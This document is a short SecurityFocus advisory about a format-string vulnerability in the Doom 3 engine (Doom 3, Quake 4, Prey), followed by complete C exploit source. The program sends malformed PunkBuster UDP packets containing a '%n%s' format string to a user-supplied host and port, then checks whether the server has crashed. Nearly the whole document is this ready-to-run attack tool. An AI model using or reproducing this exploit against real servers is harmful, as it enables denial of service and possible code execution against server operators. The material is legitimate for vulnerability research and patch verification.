source: http://www.securityfocus.com/bid/25893/info
id Software Doom 3 engine is prone to a format-string vulnerability.
Exploiting this issue will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions.
Several games that use the Doom 3 engine are affected, including Doom 3, Quake 4, and Prey.
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#define stristr strcasestr
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define DOOM3_QUERY "\xff\xff" "getInfo\0" "\0\0\0\0"
#define FSTRING "%n%s%n%s%n%s%n%s%n%s%n%s"
#define D3ENGFSPB1 "\xff\xff\xff\xff" "PB_Y" FSTRING
#define D3ENGFSPB2 "\xff\xff\xff\xff" "PB_U" "\xff\xff\xff\xff" \
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
"127.0.0.1:1234;" FSTRING ";"
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
noquery = 0;
u8 buff[8192];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Doom 3 engine format string exploitation through Punkbuster "VER"\n"
" Doom 3 <= 1.3.1 (default port 27666)\n"
" Quake 4 <= 1.4.2 (default port 28004)\n"
" Prey <= 1.3 (default port 27719)\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <host> <port>\n"
"\n", argv[0]);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(atoi(argv[2]));
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- query server:\n");
len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0);
if(len < 0) {
printf("- no reply received, I try to continue\n");
noquery = 1;
} else {
gs_handle_info(buff, len, 0, '\0', 23, 8, NULL);
}
sleep(ONESEC);
printf("- send malformed packets\n");
len = send_recv(sd, D3ENGFSPB1, sizeof(D3ENGFSPB1) - 1, NULL, 0, &peer, 1);
len = send_recv(sd, D3ENGFSPB2, sizeof(D3ENGFSPB2) - 1, NULL, 0, &peer, 1);
if(noquery) {
printf("- the server should have been crashed, check it manually\n");
} else {
printf("- wait some seconds\n");
sleep(ONESEC * 3);
printf("- check server:\n");
len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0);
if(len < 0) {
printf("\n Server IS vulnerable!!!\n");
} else {
printf("\n Server doesn't seem vulnerable\n");
}
}
close(sd);
return(0);
}
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) {
va_list ap;
int i,
args,
found;
u8 **parz,
***valz,
*p,
*limit,
*par,
*val;
va_start(ap, rear);
for(i = 0; ; i++) {
if(!va_arg(ap, u8 *)) break;
if(!va_arg(ap, u8 **)) break;
}
va_end(ap);
args = i;
parz = malloc(args * sizeof(u8 *));
valz = malloc(args * sizeof(u8 **));
va_start(ap, rear);
for(i = 0; i < args; i++) {
parz[i] = va_arg(ap, u8 *);
valz[i] = va_arg(ap, u8 **);
*valz[i] = NULL;
}
va_end(ap);
found = 0;
limit = data + datalen - rear;
*limit = 0;
data += front;
par = NULL;
val = NULL;
for(p = data; (data < limit) && p; data = p + 1, nt++) {
p = strchr(data, chr);
if(p) *p = 0;
if(nt & 1) {
if(!par) continue;
val = data;
printf(" %30s %s\n", par, val);
for(i = 0; i < args; i++) {
if(!stricmp(par, parz[i])) *valz[i] = val;
}
} else {
par = data;
}
}
free(parz);
free(valz);
return(found);
}
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
int retry,
len;
if(in && !out) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
return(0);
}
if(in) {
for(retry = 2; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
if(!timeout(sd, 1)) break;
}
if(!retry) {
if(!err) return(-1);
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
} else {
if(timeout(sd, 3) < 0) return(-1);
}
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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